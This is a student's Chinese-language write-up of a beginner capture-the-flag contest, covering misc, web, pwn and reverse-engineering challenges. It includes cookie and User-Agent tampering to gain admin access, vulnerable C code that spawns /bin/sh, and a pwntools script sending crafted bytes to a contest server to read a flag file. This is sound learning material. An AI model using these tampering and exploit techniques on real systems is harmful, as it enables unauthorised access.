CTF个人赛write up

一、Misc

1. **sign in**

   QQ频道内复制粘贴即可

2. **thin dog**

   下载文件后是一段视频，然后我们利用在线转换网站**https://convertio.co/zh/mp4-wav/**将它转化为WAV格式，并在Audacity中打开，然后仔细听音频发现除了细狗还有一段疑似英文的音频，然后我们连上耳机仔细听，发现只有左声道有这个英文语音，所以用手机将英文转化为可视的**Mike Alpha yankee Charlie tango foxtrot left brack echo victor echo romeo yankee underline foxtrot Lima India echo romeo underline kilo november Oscar whiskey underlined India romeo Sierra Alpha right. Bracket.** 随后我们发现开头几个单词的首字母连起来是mayctf，以此类推可得flag（**其中下划线和左右括号的单词需翻译成对应符号**）

3. **小紫**

   下载文件后发现是一张图片和一个压缩包，但压缩包有密码，于是我们先关注图片；图片上写着紫云八老，而且老字贴在图片底，我们猜测图片没有显示完整，于是在winhex里打开该图片，在对应位置修改一下图片高度，随后图片上压缩包密码显示出来；打开压缩包，得到两张图片，hint里提示我们需要继续修改图片高度；继续在winhex里打开第二张图片，继续修改图片高度，但此时需注意**如果修改后高度超出原图片高度，图片便会损坏，于是我们一点一点修改**；最终，发现了一行很小的flag **这里感谢出题的学长耐心的提示，以及对图片损坏的讲解，再次感谢！**

4. **rack your brain**

   下载打开文件后发现是佛说密码，但不是最原始的佛曰版本，于是一番“艰难的搜索”后，发现了能解开佛又曰的网站**http://www.atoolbox.net/Tool.php?Id=1027**；然后发现是一段摩斯密码，于是又是一番搜索找到能解密的网站**http://tool.bugku.com/brainfuck/?wafcloud=1**；**随后成功解密得到**mayctf{whata6rainf**ker666}**

二、Web

1. **No Copy**

   打开网页后发现无法直接复制flag，于是使用浏览器自带的Web选择，选中flag即可复制

2. **find it**

   打开网页后出了变化的几句话外什么也没发现，但我们做一下阅读理解会发现有一句：“你想要的东西就在这里。” 所以我们查看这一页的源码，点击`static/index3.css`，然后鼠标滑到最底下发现base64密码，利用在线网站解码即可得到flag

3. **sheep**

   在打开网页后发现是羊了个羊，于是我们把他玩通关即可得到flag（不是 打开网页源码，打开`js/game.js`查看关于游戏通关的代码，然后发现这样一句代码 `else if (selectLevel.getAttribute('level') == 233) { fetch("/fl4g.php",)`，于是我们在网址后面加上`/fl4g.php`. 然后得到一句提示

> Please use hack browser 我们想到要伪造一个叫hack的浏览器，于是打开burp抓包（/fl4g.php这一页面）并将 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0 这一句中的**Firefox**改为**hack成功伪造，forward之后得到下一步提示 Wow!!! You are really a hacker**
> **But Only admin can see**
> **Do you want to try some Cookie 于是根据提示将user=guest改为user=admin，得到下一步提示 Wow!!! You are really a hacker**
> **Wow!!! You get admin permission**
> **But please POST not GET 于是再将GET /fl4g.php HTTP/1.1改为POST，最后成功得到flag Wow!!! You are really a hacker**
> **Wow!!! You get admin permission**
> **Wow!!! You find it!**
> **= mayctf{Wow!*You*have_Real1y*H4ndl*ehttp} 在此感谢出题的学长，很耐心地给了我关于伪造的提示，这道题真的很有意思，让我对于web方向更感兴趣了（虽然之后我也没做出来别的题，总之，再次感谢！）**

三、Pwn

1. **get my number**

   `printf("How old I am?\n");

scanf("%d", &n);

if (n > 1000) { printf("Am I that old?"); return 0; }

if(n > sizeof(int)*1000) system("/bin/sh"); else printf("False answer.");`

> 打开源码后发现只要让输入符合条件即可**get shell**。
> 即让**n**溢出，输入一个超过上限的值即可。
> **get shell**后发现**flag**并不在目录里，后来发现是被隐藏到别的文件里了，经过尝试后输入**cat /tmp/flag**后即可得到**flag**

在这里特别感谢出题的学长，虽然pwn我只做了这一道题，但是学长很有耐心地为我讲解一些现在看起来基础的不能再基础的知识，再次感谢！ 1. get my float 依旧先查看源码`#include <stdio.h>

include <stdlib.h>

typedef union { char ch[8]; double fa; }float_char;

int main(void) {

float_char gundam;

setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0);

printf("please give me the core float!!!\n"); for (int i = 0; i < 8; i++) { gundam.ch[i] = getchar(); }

if (gundam.fa == 0.618) { printf("Gundam Rising!!"); system("cat /tmp/flag"); } else printf("false!\n");

return 0;

}`

发现有很多东西都不认识，但是我们知道需要满足**gundam.fa == 0.618**后才能get shell；于是经过一番“艰苦的”自学和搜索后，明白我们需要写一个exp来将小

`#include <iostream>

using namespace std;

int main() { double f = 0.618; const unsigned char* ch = reinterpret_cast<const unsigned char*>(&f); for(int i=0; i<8; ++i) cout << +ch[i] << ' '; return 0;
}运行后可以得到一串数字**45 178 157 239 167 198 227 63**，这就是可以get shell的数组内的数据；此时我们需要在kali上连接端口并将我们的数据传输进去，但是直接输入
from pwn import * p = remote("124.220.41.254", 12352) data = ''.join(map(chr,[45, 178, 157, 239, 167, 198, 227, 63])) p.sendline(data) p.interactive()`

成功得到flag：**Gundam Rising!!flag{GuNd4m_D4i3hl_Ni_Tatsu!!}**

四、Reverse Engineering

1. hello net

   re的题目需要一个基本的工具，于是根据hint我们在下载并安装ildasm，使用该工具打开exe文件，直接查看Main函数内的数据，直接得到flag"Your flag is mayctf{I*ThinkNET1S*S1mpler*Than*NA"+ "TIVE!}
   但要记得删去引号和加号后提交

最后感谢所有出题的学长们，谢谢你们出的题让我能对ctf有了基础的了解并产生了兴趣，郑重感谢！